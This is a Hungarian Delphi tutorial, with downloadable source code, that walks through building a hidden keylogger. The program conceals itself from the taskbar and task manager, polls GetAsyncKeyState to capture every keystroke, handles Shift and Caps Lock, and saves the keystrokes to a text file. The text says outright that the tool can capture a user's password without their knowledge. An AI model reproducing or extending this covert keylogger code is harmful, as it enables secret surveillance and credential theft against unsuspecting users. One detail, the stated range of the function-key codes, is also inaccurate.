Delphi - Billentyűk lenyomásának naplózása

forráskód letöltése
Készítünk egy alkalmazást, amely elindítása után a háttérben fut. A program ablakát eltüntetjük. Nem látszik a tálcán, sőt még a feladatkezelőben található alkalmazások listájában sem. A programnak az a feladata, hogy figyelje a billentyűlenyomásokat, és minden egyes lenyomott billentyűt elmentsen egy TXT állományba. Ezzel megtudhatjuk akár egy felhasználó jelszavát is, anélkül, hogy észrevenné.
A mellékelt példaprogram, magyar nyelvű billentyűzetkiosztásra készült.
A programot, hagyományos alkalmazásként hozzuk létre. Ha megnyitjuk a dpr állományt, majd a Form1-et létrehozó utasítássor elé elhelyezzük a következő kódot, akkor alkalmazásunk sehol nem fog látszódni.
Application.ShowMainForm:=False;
A lenyomott billentyűket egy Memo komponensben jegyezzük fel. Szükségünk van két Timer komponensre. Az egyik (Timer1) 5 ezred másodpercenként figyeli, hogy melyik billentyű került lenyomásra. A másik Timer (Timer2), mondjuk 5 másodpercenként elmenti a Memo tartalmát egy állományba.
Az állományba mentés algoritmusa a következő:
Append(FFile);
for i:=1 to Length(Memo1.Text) do
  Write(FFile,Memo1.Text[i]);
CloseFile(FFile);
Memo1.Lines.Clear;
A GetAsyncKeyState, API függvény segítségével lekérdezhetjük, hogy egy megadott kódhoz tartozó billentyű le van-e nyomva.
if GetAsyncKeyState(i)=-32767 then begin
  case i of
    8: Memo1.Text:=Memo1.Text+'[BACKSPACE]';
A billentyűzet gombjait, feldolgozás szempontjából csoportosítanunk kell. Vannak vezérlő billentyűk, amelyeknek nevét szövegesen írjuk ki. A SHIFT billentyű lenyomását nem kezeljük le külön, csak a többi billentyűvel együtt, ahol ennek értelme van.
A 48..57-es tartományban találhatók a normál szám billentyűk. Itt vigyáznunk kell, arra, hogy a SHIFT lenyomva tartása nem számot, hanem a fölötte lévő karaktert jelenti.
48..57: if GetKeyState(VK_SHIFT)<0 then
              Memo1.Text:=Memo1.Text+UpNumbers[i-47]
            else
              Memo1.Text:=Memo1.Text+Chr(i);
Az angol ABC betűi a 65..90-es tartományban helyezkednek el. Itt is gondoskodnunk kell a SHIFT megfelelő kezeléséről, továbbá a CAPS LOCK billentyű használatára is figyelnünk kell. A bekapcsolt CAPS LOCK billentyűt a GetKeyState(VK_CAPITAL))=1 feltétellel ellenőrizhetjük.
A numerikus padon található billentyűk külön kóddal rendelkeznek. Ha azonban a NUM LOCK ki van kapcsolva, normál vezérlő viselkednek és a kódjuk is azonos
96..105: Memo1.Text:=Memo1.Text+Chr(i-48);
112-től 113-ig találhatóak a funkció billentyűk, a 188..190-es tartományban a „,”, „.”, „-„ billentyűk, majd legvégül az ékezetes karakterek, amelyek elhelyezkedése billentyűzetkiosztásonként változhat.